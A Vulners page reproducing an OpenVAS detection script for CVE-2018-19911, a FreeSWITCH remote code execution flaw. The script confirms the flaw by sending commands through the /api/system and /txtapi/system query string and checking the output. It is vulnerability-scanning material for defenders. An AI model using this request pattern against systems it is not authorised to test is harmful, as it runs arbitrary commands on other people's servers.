Lucene search
+L

FreeSWITCH RCE Vulnerability

🗓️ 06 Dec 2019 00:00:00Reported by Copyright (C) 2019 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 60 Views

FreeSWITCH RCE Vulnerability. Prone to remote code execution (RCE) via mod_xml_rpc enabling

Related
Refs
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2018-19911
6 Dec 201818:00
cve
cvelist
Cvelist
CVE-2018-19911
6 Dec 201818:00
cvelist
nvd
NVD
CVE-2018-19911
6 Dec 201818:29
nvd
prion
Prion
Cross site request forgery (csrf)
6 Dec 201818:29
prion
redhatcve
RedhatCVE
CVE-2018-19911
22 May 202512:57
redhatcve
# SPDX-FileCopyrightText: 2019 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:freeswitch:freeswitch";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.143233");
  script_version("2024-06-28T15:38:46+0000");
  script_tag(name:"last_modification", value:"2024-06-28 15:38:46 +0000 (Fri, 28 Jun 2024)");
  script_tag(name:"creation_date", value:"2019-12-06 09:27:29 +0000 (Fri, 06 Dec 2019)");
  script_tag(name:"cvss_base", value:"7.6");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:H/Au:N/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-08-24 17:37:00 +0000 (Mon, 24 Aug 2020)");

  script_cve_id("CVE-2018-19911");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("FreeSWITCH RCE Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2019 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_freeswitch_consolidation.nasl", "os_detection.nasl", "global_settings.nasl");
  script_mandatory_keys("freeswitch/detected");
  script_require_ports("Services/www", 8080, 8181);

  script_tag(name:"summary", value:"FreeSWITCH is prone to a remote code execution (RCE)
  vulnerability.");

  script_tag(name:"insight", value:"When mod_xml_rpc is enabled FreeSWITCH allows remote attackers to execute
  arbitrary commands via the api/system or txtapi/system (or api/bg_system or txtapi/bg_system) query string, as
  demonstrated by an api/system?calc URI.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_xref(name:"URL", value:"https://github.com/iSafeBlue/freeswitch_rce/");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

urls = make_list("/api/system",
                 "/txtapi/system");

cmds = exploit_commands();

foreach url (urls) {
  foreach pattern (keys(cmds)) {
    url = dir + url + "/?" + cmds[pattern];

    req = http_get(port: port, item: url);
    res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);

    if (egrep(pattern: pattern, string: res)) {
      report = 'It was possible to execute the "' + cmds[pattern] + '" command.\n\nResult:\n\n' + res;
      security_message(port: port, data: report);
      exit(0);
    }
  }
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jun 2024 00:00Current
7.9High risk
Vulners AI Score7.9
CVSS 37.5
CVSS 27.6
EPSS0.02848
60